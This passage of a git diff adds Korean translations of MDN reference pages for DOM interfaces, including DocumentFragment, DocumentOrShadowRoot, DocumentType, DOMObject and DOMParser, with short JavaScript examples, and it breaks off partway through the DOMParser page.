+<figcaption>Figure 0.1 Sample DOM Test Page</figcaption>
+<img alt="Image:DOM_Ref_Introduction_to_the_DOM.gif" class="internal" src="/@api/deki/files/173/=DOM_Ref_Introduction_to_the_DOM.gif"></figure>
+
+<p>이 예제에서 드롭다운 메뉴는 웹 페이지에서 DOM 접근가능한 배경색상(<code>bgColor</code>), 하이퍼링크 색상(<code>aLink</code>), 텍스트 색상(<code>text</code>)을 동적으로 업데이트한다. 어떻게 자신의 test pages 를 디자인하더라도, interface 테스트는 DOM 을 효과적으로 사용하는 법을 배우는 데 매우 중요한 수단임을 명심하라.</p>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model">DOM Reference</a></li>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model/Introduction">Introduction to the DOM</a></li>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model/Events">Events and the DOM</a></li>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model/Examples">Examples</a></li>
+</ul>
+
+<div>{{DefaultAPISidebar("DOM")}}</div>
diff --git a/files/ko/web/api/documentfragment/index.html b/files/ko/web/api/documentfragment/index.html
new file mode 100644
index 0000000000..a22770cfae
--- /dev/null
+++ b/files/ko/web/api/documentfragment/index.html
@@ -0,0 +1,139 @@
+---
+title: DocumentFragment
+slug: Web/API/DocumentFragment
+tags:
+  - API
+  - DOM
+  - DocumentFragment
+  - Documents
+  - Interface
+  - Reference
+  - Web Components
+translation_of: Web/API/DocumentFragment
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p><span class="seoSummary"><strong><code>DocumentFragment</code></strong> 인터페이스는 부모가 없는 아주 작은 document 객체를 나타냅니다. {{domxref("Document")}}의 경량화된 버전으로 사용되며 표준문서와 같이 노드로 구성된 문서 구조의 일부를 저장합니다.</span> 중요한 차이점은 <code>DocumentFragment</code>는 활성화된 문서 트리 구조의 일부가 아니기 때문에 fragment를 변경해도 문서에는 영향을 미치지 않으며({{Glossary("reflow")}} 포함) 성능에도 영향이 없다는 점입니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{ domxref("DocumentFragment.DocumentFragment()", "DocumentFragment()") }}</dt>
+ <dd>새로운 <code>DocumentFragment</code> 객체를 생성하여 반환합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p><em>이 인터페이스는 특정한 속성이 없지만 부모인 {{domxref("Node")}}, {{domxref("ParentNode")}}의 속성을 상속합니다.</em></p>
+
+<dl>
+ <dt>{{ domxref("ParentNode.children") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd><code>DocumentFragment</code> 객체의 자식 {{domxref("Element")}}를 전부 포함하는 실시간 {{domxref("HTMLCollection")}}을 반환합니다.</dd>
+ <dt>{{ domxref("ParentNode.firstElementChild") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd><code>DocumentFragment</code> 객체의 첫번째 자식 {{domxref("Element")}}를 반환합니다. 없으면 <code>null</code>을 반환합니다.</dd>
+ <dt>{{ domxref("ParentNode.lastElementChild") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd><code>DocumentFragment</code> 객체의 마지막 자식 {{domxref("Element")}}를 반환합니다. 없으면 <code>null</code>을 반환합니다.</dd>
+ <dt>{{ domxref("ParentNode.childElementCount") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd><code>DocumentFragment</code>가 가진 자식 수를 <code>unsigned long</code> 타입으로 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>이 인터페이스는 부모인 {{domxref("Node")}}와<em> {{domxref("ParentNode")}} 인터페이스의 메서드를 상속합니다</em></em><em>.</em></p>
+
+<dl>
+ <dt>{{domxref("DocumentFragment.querySelector()")}}</dt>
+ <dd><code>DocumentFragment</code> 내 지정된 선택자와 일치하는 첫번째 {{domxref("Element")}} 노드를 반환합니다.</dd>
+ <dt>{{domxref("DocumentFragment.querySelectorAll()")}}</dt>
+ <dd><code>DocumentFragment</code> 내 지정된 선택자와 일치하는 모든 {{domxref("Element")}} 노드를 {{domxref("NodeList")}} 형태로 반환합니다.</dd>
+ <dt>{{domxref("DocumentFragment.getElementById()")}}</dt>
+ <dd><code style="font-size: 14px;">DocumentFragment</code> 내 지정된 ID와 일치하는 첫번째 {{domxref("Element")}} 노드를 반환합니다. 기능적으로 {{domxref("Document.getElementById()")}}와 동일합니다.</dd>
+</dl>
+
+<h2 id="사용법">사용법</h2>
+
+<p><code>DocumentFragment</code>의 일반적인 용도는 <code>DocumentFragment</code>를 생성하고, 그 안에서 DOM 하위 트리를 조립한 다음, {{domxref("Node.appendChild", "appendChild()")}}나 {{domxref("Node.insertBefore", "insertBefore()")}}와 같은 {{domxref("Node")}} 인터페이스 메서드를 사용하여 DOM에 삽입하는 것입니다. 이렇게 하면 <code>DocumentFragment</code>의 노드들이 DOM으로 이동되고 빈 <code>DocumentFragment</code>만 남게 됩니다. 모든 노드가 한 번에 문서에 삽입되기 때문에 노드를 개별로 하나씩 삽입할 때마다 리플로우와 렌더링을 해주는 대신 단 한 번의 리플로우와 렌더링만 발생하게 됩니다.</p>
+
+<p>이 인터페이스는 웹 컴포넌트를 사용할 때도 매우 유용합니다: {{HTMLElement("template")}} 요소는 {{domxref("HTMLTemplateElement.content")}} 속성에 <code>DocumentFragment</code>를 포함하고 있습니다.</p>
+
+<p>빈 <code>DocumentFragment</code>는 {{domxref("document.createDocumentFragment()")}} 메서드나 생성자를 이용하여 만들 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;ul id="list"&gt;&lt;/ul&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">var list = document.querySelector('#list')
+var fruits = ['Apple', 'Orange', 'Banana', 'Melon']
+
+var fragment = new DocumentFragment()
+
+fruits.forEach(function (fruit) {
+  var li = document.createElement('li')
+  li.innerHTML = fruit
+  fragment.appendChild(li)
+})
+
+list.appendChild(fragment)
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('예제', '', '', '', 'Web/API/DocumentFragment') }}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">표준</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-documentfragment', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Added the constructor and the implementation of {{domxref("ParentNode")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1', '#the-apis', 'DocumentFragment')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td>Added the <code>querySelector()</code> and <code>querySelectorAll()</code> methods.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.DocumentFragment")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model">DOM 인터페이스</a></li>
+</ul>
diff --git a/files/ko/web/api/documentorshadowroot/activeelement/index.html b/files/ko/web/api/documentorshadowroot/activeelement/index.html
new file mode 100644
index 0000000000..2f4d4394d9
--- /dev/null
+++ b/files/ko/web/api/documentorshadowroot/activeelement/index.html
@@ -0,0 +1,94 @@
+---
+title: DocumentOrShadowRoot.activeElement
+slug: Web/API/DocumentOrShadowRoot/activeElement
+tags:
+  - API
+  - Document
+  - DocumentOrShadowRoot
+  - Focus
+  - Property
+  - Reference
+  - ShadowRoot
+translation_of: Web/API/DocumentOrShadowRoot/activeElement
+---
+<div>{{APIRef("Shadow DOM")}}</div>
+
+<p><span class="seoSummary">{{domxref("Document")}}와 {{domxref("ShadowRoot")}} 인터페이스의 <strong><code>activeElement</code></strong> 읽기 전용 속성은 DOM과 섀도우 DOM 내에서 현재 포커스를 받은 {{domxref("Element")}} 객체를 반환합니다.</span> 이 속성은 {{domxref("DocumentOrShadowRoot")}} {{Glossary("mixin", "믹스인")}}에서 상속받습니다.</p>
+
+<p><code>activeElement</code> 접근 시점에 텍스트를 블록 선택하고 있는 경우 해당하는 {{htmlelement("input")}}이나 {{htmlelement("textarea")}} 객체를 반환하는데, 그러면 그 객체의 {{domxref("Document.selectionStart", "selectionStart")}}와 {{domxref("Document.selectionEnd", "selectionEnd")}} 메서드를 사용해 선택에 대한 더 자세한 정보를 알아낼 수 있습니다. 포커스가 자주 가는 다른 경우로는 {{htmlelement("select")}} 요소나 <code>type</code>이 <code>"button"</code>, <code>"checkbox"</code>, <code>"radio"</code>인 {{htmlelement("input")}} 요소가 있습니다.</p>
+
+<p>보통 사용자는 포커스 가능한 요소를 Tab 키를 사용해 탐색할 수 있고, 스페이스 바를 사용해 활성화(버튼을 누르거나 라디오 버튼을 켜는 등)할 수 있습니다. 포커스 가능한 요소는 현재 플랫폼과 브라우저 설정에 따라 다릅니다. 가령 macOS의 경우, 기본값에서는 텍스트 입력 칸이 아니면 보통 포커스 할 수 없습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 포커스(사용자의 입력 이벤트를 받는 요소)와 선택(문서 내에서 강조하고 있는 부분)은 다릅니다. 현재 선택 영역은 {{domxref("window.getSelection()")}}을 사용해 가져올 수 있습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><em>element</em> = <em>DocumentOrShadowRoot</em>.activeElement</pre>
+
+<h3 id="값">값</h3>
+
+<p>포커스를 갖고 있는 {{domxref("Element")}}. 그런 요소가 없으면 {{htmlelement("body")}} 또는 {{jsxref("null")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;아래 두 영역에서 텍스트를 선택해보세요.&lt;/p&gt;
+
+&lt;form&gt;
+  &lt;textarea name="ta-example-one" id="ta-example-one" rows="7" cols="40"&gt;텍스트 영역 1. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui.&lt;/textarea&gt;
+  &lt;textarea name="ta-example-two" id="ta-example-two" rows="7" cols="40"&gt;텍스트 영역 2. Fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. Morbi sed euismod diam.&lt;/textarea&gt;
+&lt;/form&gt;
+
+&lt;p&gt;활성화된 요소 ID: &lt;b id="output-element"&gt;&lt;/b&gt;&lt;/p&gt;
+&lt;p&gt;선택한 텍스트: &lt;b id="output-text"&gt;&lt;/b&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">function onMouseUp(e) {
+  const activeTextarea = document.activeElement;
+  const selection = activeTextarea.value.substring(
+    activeTextarea.selectionStart, activeTextarea.selectionEnd
+  );
+
+  const outputElement = document.getElementById('output-element');
+  const outputText = document.getElementById('output-text');
+  outputElement.innerHTML = activeTextarea.id;
+  outputText.innerHTML = selection;
+}
+
+const textarea1 = document.getElementById('ta-example-one');
+const textarea2 = document.getElementById('ta-example-two');
+textarea1.addEventListener('mouseup', onMouseUp, false);
+textarea2.addEventListener('mouseup', onMouseUp, false);</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('예제', '400', '400') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interaction.html#dom-document-activeelement', 'activeElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.DocumentOrShadowRoot.activeElement")}}</p>
+</div>
diff --git a/files/ko/web/api/documentorshadowroot/index.html b/files/ko/web/api/documentorshadowroot/index.html
new file mode 100644
index 0000000000..74a6296b29
--- /dev/null
+++ b/files/ko/web/api/documentorshadowroot/index.html
@@ -0,0 +1,74 @@
+---
+title: DocumentOrShadowRoot
+slug: Web/API/DocumentOrShadowRoot
+tags:
+  - API
+  - Document
+  - DocumentOrShadowRoot
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - ShadowRoot
+  - TopicStub
+  - shadow dom
+translation_of: Web/API/DocumentOrShadowRoot
+---
+<div>{{APIRef("Web Components")}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM API</a> 의 <strong><code>DocumentOrShadowRoot</code></strong> 믹스인(mixin)은 문서와 섀도우 루트간에 공유되는 API를 제공합니다. 다음 기능은 문서{{DOMxRef("Document")}}와 {{DOMxRef("ShadowRoot")}}에 모두 포함되어 있습니다.</span></p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.activeElement")}}{{ReadOnlyInline}}</dt>
+ <dd>포커스를 가지는 섀도우 루트 내의 요소{{DOMxRef('Element')}}를 반환합니다.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}{{ReadOnlyInline}}</dt>
+ <dd>현재 이 문서에서 full screen mode인 요소{{DOMxRef('Element')}}를 반환합니다.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.pointerLockElement")}} {{Experimental_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>포인터가 잠겨있는 동안 마우스 이벤트의 대상으로 설정된 요소를 반환합니다. 잠금이 보류중이거나 포인터가 잠금 해제되어 있거나, 대상이 다른 문서(document)에 있으면 <code>null</code>을 반환합니다.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.styleSheets")}}{{ReadOnlyInline}}</dt>
+ <dd>문서에 명시적으로 링크되었거나 포함하고 있는 스타일 시트의 {{DOMxRef('CSSStyleSheet')}} 객체의 {{DOMxRef('StyleSheetList')}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.getSelection()")}}</dt>
+ <dd>유저가 선택한 텍스트의 범위, 또는 캐럿(caret - 텍스트 커서)의 현재 위치를 나타내는 {{DOMxRef('Selection')}}객체를 반환합니다.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}}</dt>
+ <dd>지정된 좌표의 최상위 요소를 반환합니다.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.elementsFromPoint()")}}</dt>
+ <dd>지정된 자표에 있는 모든 요소의 배열을 반환합니다.</dd>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.caretPositionFromPoint()")}}</dt>
+ <dd>캐럿을 포함한 DOM 노드와 그 노드 내에서 캐럿의 문자 오프셋을 포함한 {{DOMxRef('CaretPosition')}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#mixin-documentorshadowroot','DocumentOrShadowRoot')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td>Implementation in Shadow DOM.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+
+
+<p>{{Compat("api.DocumentOrShadowRoot")}}</p>
+
+<p>[1] This interface's features are still implemented on the {{DOMxRef("Document")}} object.</p>
diff --git a/files/ko/web/api/documentorshadowroot/stylesheets/index.html b/files/ko/web/api/documentorshadowroot/stylesheets/index.html
new file mode 100644
index 0000000000..cf6e1c38ce
--- /dev/null
+++ b/files/ko/web/api/documentorshadowroot/stylesheets/index.html
@@ -0,0 +1,57 @@
+---
+title: DocumentOrShadowRoot.styleSheets
+slug: Web/API/DocumentOrShadowRoot/styleSheets
+tags:
+  - API
+  - Document
+  - Propert
+  - Reference
+translation_of: Web/API/DocumentOrShadowRoot/styleSheets
+---
+<div>{{SeeCompatTable}}{{APIRef("Shadow DOM")}}</div>
+
+<p>{{domxref("DocumentOrShadowRoot")}} 인터페이스의 <strong><code>styleSheets</code></strong> 읽기 전용 속성은 문서에서 명시적으로 링크했거나, 안에 포함된 스타일시트에 대한 {{domxref('CSSStyleSheet')}} 객체의 {{domxref('StyleSheetList')}}를 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">function getStyleSheet(unique_title) {
+  for(var i=0; i&lt;document.styleSheets.length; i++) {
+    var sheet = document.styleSheets[i];
+    if(sheet.title == unique_title) {
+      return sheet;
+    }
+  }
+}
+</pre>
+
+<h3 id="참고">참고</h3>
+
+<p>반환 된 목록은 다음과 같이 정렬됩니다:</p>
+
+<ul>
+ <li>{{htmlelement("link")}} 헤더에서 검색된 스타일시트가 먼저 배치되고, 헤더 순서로 정렬됩니다.</li>
+ <li>DOM에서 검색된 스타일시트는 <a href="https://dom.spec.whatwg.org/#concept-tree-order">tree order</a>로 정렬되어 배치됩니다.</li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.DocumentOrShadowRoot.styleSheets")}}</p>
diff --git a/files/ko/web/api/documenttype/index.html b/files/ko/web/api/documenttype/index.html
new file mode 100644
index 0000000000..f2d8f1cfa2
--- /dev/null
+++ b/files/ko/web/api/documenttype/index.html
@@ -0,0 +1,90 @@
+---
+title: DocumentType
+slug: Web/API/DocumentType
+tags:
+  - API
+  - DOM
+  - DocumentType
+  - 인터페이스
+translation_of: Web/API/DocumentType
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>DocumentType</code></strong> 인터페이스는 doctype을 포함하는 {{domxref("Node")}} 를 나타냅니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<p><em>부모 {{domxref("Node")}} 로부터 프로퍼티를 상속받고 {{domxref("ChildNode")}} 인터페이스를 구현합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("DocumentType.entities")}} {{readonlyInline}} {{obsolete_Inline}}</dt>
+ <dd>DTD에 선언된 엔티티의 {{domxref("NamedNodeMap")}} 입니다. 이 맵의 모든 노드는 {{domxref("Entity")}} 인터페이스를 구현합니다.</dd>
+ <dt>{{domxref("DocumentType.internalSubset")}} {{readonlyInline}} {{obsolete_Inline}}</dt>
+ <dd>내부 하위 집합의 {{domxref("DOMString")}} 입니다. 하위 집합이 존재하지 않을 경우 <code>null</code>입니다. 예, <code>"&lt;!ELEMENT foo (bar)&gt;"</code>.</dd>
+ <dt>{{domxref("DocumentType.name")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} 입니다. 예, <code>&lt;!DOCTYPE HTML&gt;</code> 의 경우 <code>"html"</code>.</dd>
+ <dt>{{domxref("DocumentType.notations")}} {{readonlyInline}} {{obsolete_Inline}}</dt>
+ <dd>DTD에 선언된 노테이션을 포함한 {{domxref("NamedNodeMap")}} 입니다. 이 맵의 모든 노드는 {{domxref("Notation")}} 인터페이스를 구현합니다.</dd>
+ <dt>{{domxref("DocumentType.publicId")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} 입니다. 예, <code>"-//W3C//DTD HTML 4.01//EN"</code>, HTML5의 경우 빈 문자열.</dd>
+ <dt>{{domxref("DocumentType.systemId")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} 입니다. 예, <code>"http://www.w3.org/TR/html4/strict.dtd"</code>, HTML5의 경우 빈 문자열.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>부모 {{domxref("Node")}} 로부터 메소드를 상속받고 {{domxref("ChildNode")}} 인터페이스를 구현합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>부모의 자식 리스트로부터 객체를 제거합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#documenttype', 'DocumentType')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>{{domxref("ChildNode")}} 인터페이스의 구현을 추가했음.<br>
+    <code>internalSubset</code>, <code>entities</code>, <code>notation</code> 프로퍼티를 제거했음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-412266927', 'DocumentType')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>{{SpecName('DOM2 Core')}} 으로부터 변경사항 없음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-412266927', 'DocumentType')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td><code>publicID</code>, <code>systemID</code>, <code>internalSubset</code> 프로퍼티를 추가했음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-412266927', 'DocumentType')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.DocumentType")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/DOM/DOM_Reference">DOM 인터페이스 목차.</a></li>
+ <li>{{domxref("Entity")}}</li>
+ <li>{{domxref("Notation")}}</li>
+</ul>
diff --git a/files/ko/web/api/domobject/index.html b/files/ko/web/api/domobject/index.html
new file mode 100644
index 0000000000..29208a9ff2
--- /dev/null
+++ b/files/ko/web/api/domobject/index.html
@@ -0,0 +1,35 @@
+---
+title: DOMObject
+slug: Web/API/DOMObject
+tags:
+  - API
+  - DOM
+  - DOM 레퍼런스
+  - DOMObject
+  - 객체
+  - 레퍼런스
+  - 사용되지않음
+translation_of: Web/API/DOMObject
+---
+<div>{{APIRef("DOM")}}{{Obsolete_header}}</div>
+
+<p><span class="seoSummary">더 이상 사용되지 않는 <code><strong>DOMObject</strong></code> 인터페이스는 객체 데이터 타입을 위한 기본 클래스로서 DOM 명세의 초기 버전에 사용되었습니다. </span>명세는 이제 간단히 JavaScript {{jsxref("Object")}} 타입을 사용합니다.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#DOMObject", "DOMObject")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>초기 명세</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/api/domparser/index.html b/files/ko/web/api/domparser/index.html
new file mode 100644
index 0000000000..27530dabc9
--- /dev/null
+++ b/files/ko/web/api/domparser/index.html
@@ -0,0 +1,203 @@
+---
+title: DOMParser
+slug: Web/API/DOMParser
+translation_of: Web/API/DOMParser
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">The <strong><code>DOMParser</code></strong> 인터페이스는 DOM {{domxref("Document")}} 문서에 맞는 {{Glossary("XML")}} 및 {{Glossary("HTML")}} 소스 코드를 해석할 수 있는 기반을 제공한다 .</span></p>
+
+<div class="note">
+<p><strong>참고:</strong> {{domxref("XMLHttpRequest")}} 객체로도 인식 가능한 URL 주소로부터 직접 XML 및 HTML 문서를 해석하여 {{domxref("XMLHttpRequest.response", "response")}} 속성을 통해 <code>Document</code> 객체로 제공한다.</p>
+</div>
+
+<p>반대로 DOM 구조를 XML 및 HTML 소스 코드로 제공하는 방식은 {{domxref("XMLSerializer")}} 인터페이스를 참고하도록 한다.</p>
+
+<p>HTML 문서의 경우, {{domxref("Element.innerHTML")}} 속성과 {{domxref("Element.outerHTML", "outerHTML")}} 속성을 통해 DOM 구조를 새로운 방식으로 변경할 수 있다. 또한 이들 속성을 통해 HTML 구조의 하위에 있는 HTML 구조도 불러올 수 있다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">let <var>domparser</var> = new DOMParser()​​</pre>
+
+<h2 id="메소드">메소드</h2>
+
+<h3 id="domxrefDOMParser.parseFromString_1">{{domxref("DOMParser.parseFromString()", "", "", "1")}}</h3>
+
+<h4 id="문법_2">문법</h4>
+
+<pre class="syntaxbox notranslate">let <var>doc</var> = domparser.parseFromString(<var>string, <var>mimeType</var>)</var></pre>
+
+<h4 id="반환">반환</h4>
+
+<p> <strong><code><a href="#Argument02">mimeType</a></code></strong> 인자를 통해 정의한 형식에 따른 {{domxref("Document")}} 또는{{domxref("XMLDocument")}} 문서를 반환한다.</p>
+
+<h4 id="인자">인자</h4>
+
+<p>이 메소드에는 2개의 인자가 제공되는데, 모두 필수값이다.</p>
+
+<dl>
+ <dt><code><var>string</var></code></dt>
+ <dd>해석할 {{domxref("DOMString")}} 문자열. 반드시 {{Glossary("HTML")}}, {{Glossary("xml")}}, {{Glossary("xhtml+xml")}} 또는 {{Glossary("svg")}} 문서 형식에 맞아야 한다.</dd>
+ <dt id="Argument02"><code><var>mimeType</var></code></dt>
+ <dd>
+ <p>아래 표에 정의한 형식을 반환 값으로 제공할 {{domxref("DOMString")}} 문자열.</p>
+
+ <table class="standard-table" style="max-width: 60ch;">
+  <thead>
+   <tr>
+    <th scope="col"><code><var>mimeType</var></code></th>
+    <th scope="col"><code><var>doc</var>.constructor</code></th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>text/html</code></td>
+    <td><code>{{domxref("Document")}}</code></td>
+   </tr>
+   <tr>
+    <td><code>text/xml</code></td>
+    <td><code>{{domxref("XMLDocument")}}</code></td>
+   </tr>
+   <tr>
+    <td><code>application/xml</code></td>
+    <td><code>{{domxref("XMLDocument")}}</code></td>
+   </tr>
+   <tr>
+    <td><code>application/xhtml+xml</code></td>
+    <td><code>{{domxref("XMLDocument")}}</code></td>
+   </tr>
+   <tr>
+    <td><code>image/svg+xml</code></td>
+    <td><code>{{domxref("XMLDocument")}}</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="XML_해석">XML 해석</h3>
+
+<p>parser 변수를 통해 새로이 해석할 객체를 만들었다면, 이제 <code>parseFromString()</code> 메소드를 통해 XML 문서를 해석할 수 있다.</p>
+
+<pre class="brush: js notranslate">let <var>parser</var> = new DOMParser()
+let <var>doc</var> = parser.parseFromString(<var>stringContainingXMLSource</var>, "application/xml")
+</pre>
+
+<h4 id="Error_handling" name="Error_handling">오류 대응</h4>
+
+<p>만약 해석에 실패할 경우, <code>DOMParser</code> 객체는 예외를 발생시키지 않고, 아래와 같은 오류 문서를 반환한다.</p>
+
+<pre class="brush:xml notranslate">&lt;parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml"&gt;
+  <var>(영문 오류 내용)</var>
+  &lt;sourcetext&gt;<var>(오류가 발생한 XML 소스 조각)</var>&lt;/sourcetext&gt;
+&lt;/parsererror&gt;
+</pre>
+
+<p>또한 해석 오류를 <a href="/en-US/docs/Error_Console" title="Error Console">오류 콘솔</a>에서도 볼 수 있으며, 여기에 후술할(역주: geckoRelease) 문서 URI도 포함된다</p>
+
+<h3 id="SVG_및_HTML_해석">SVG 및 HTML 해석</h3>
+
+<p>The <code>DOMParser</code> 객체는 {{geckoRelease("10.0")}} 규격에 맞는 SVG 문서도 해석할 수 있으며,{{geckoRelease("12.0")}} 규격에 맞는 HTML 문서를 해석할 수 있다. MIME 형식에 따라 아래와 같이 다른 객체가 반환될 수 있다.</p>
+
+<ol>
